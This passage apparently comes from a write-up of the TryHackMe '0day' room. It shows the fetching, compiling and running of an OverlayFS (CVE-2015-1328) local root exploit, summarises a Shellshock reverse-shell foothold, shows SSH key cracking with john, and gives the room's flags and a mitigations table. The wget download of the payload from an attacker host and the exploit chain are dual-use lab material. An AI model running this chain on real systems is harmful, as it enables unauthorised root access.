CVE-2015-1328	overlayfs	1	Ubuntu 14.04, practical
CVE-2016-5195	dirtycow	4	Reliable but slow/risky
CVE-2015-8660	overlayfs (ovl_setattr)	1	Overlaps with above
CVE-2014-0038	timeoutpwn	1	Requires CONFIG_X86_X32=y

I went with CVE-2015-1328 (OverlayFS) — a clean, reliable local privilege escalation on Ubuntu 14.04/15.04 kernels 3.13.0–3.19.0 that abuses a flaw in how OverlayFS validates file permissions across user namespace mount operations. Get that right and you can write to places you shouldn't be able to touch.

Downloading the exploit source from Exploit-DB straight to /tmp on the target:

wget http://192.168.133.233:80/Downloads/37292.c -O /tmp/37292.c

Compiling it on-box — GCC is thoughtfully still installed:

gcc /tmp/37292.c -o /tmp/37292

Running it:

/tmp/37292

# output
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# ^^^ root shell spawned

id

uid=0(root) gid=0(root) groups=0(root),33(www-data)

Root, under a minute of compile time.

Exploitation — The Full Chain

Shellshock (CVE-2014-6271) — malicious HTTP User-Agent header injected via /cgi-bin/test.cgi, triggering Bash to execute attacker-controlled commands. Resulted in a reverse shell as www-data.
OverlayFS LPE (CVE-2015-1328) — compiled C exploit abused a kernel permission validation flaw in OverlayFS to write to /etc/ld.so.preload and load a malicious shared library, spawning a root shell.

Rabbit Holes

The SSH private key from /backup/. I'd found an encrypted RSA private key at /backup/index.html, converted it for cracking, and the passphrase fell almost immediately:

ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# output
id_rsa:letmein

Tried logging in as 0day (the homepage name) and ryan (seen in /home):

ssh 0day@10.49.181.37 -i id_rsa
ssh ryan@10.49.181.37 -i id_rsa

Both failed with sign_and_send_pubkey: no mutual signature supported, followed by password rejection. The server's OpenSSH 6.6.1 and a modern client disagree on acceptable signature algorithms — and even with the correct passphrase, the key just didn't match any authorized user on this box. The key was almost certainly left as deliberate misdirection. Dropped it and moved on to Nikto, which is where the real path showed up.

Flags

Flag	Value	Location
User	`THM{Sh3llSh0ck_r0ckz}`	`/home/ryan/user.txt`
Root	`THM{g00d_j0b_0day_is_Pleased}`	`/root/root.txt`

Mitigations

Vulnerability	Severity	Mitigation
Shellshock (CVE-2014-6271)	Critical	Update Bash to 4.3 patch 25+ and disable or restrict CGI script execution
OverlayFS LPE (CVE-2015-1328)	High	Apply kernel patches — Ubuntu Security Notice USN-2610-1 addresses this
Exposed `/backup/` directory	High	Never store key material in web-accessible directories; restrict with `.htaccess` or move outside the webroot entirely
Outdated Apache (2.4.7)	Medium	Keep web server software patched to current release
Missing security headers	Low	Add `Strict-Transport-Security`, `Content-Security-Policy`, and `X-Content-Type-Options` headers to Apache config

Key Takeaway

A cgi-bin directory on any server still running pre-2014 Bash is a Shellshock waiting to happen. Always pair directory enumeration with a vulnerability scan — what looks like a boring CGI endpoint can turn out to be your entire foothold, and a decoy SSH key sitting right next to it can eat ten minutes you didn't need to spend.

Room: TryHackMe — 0day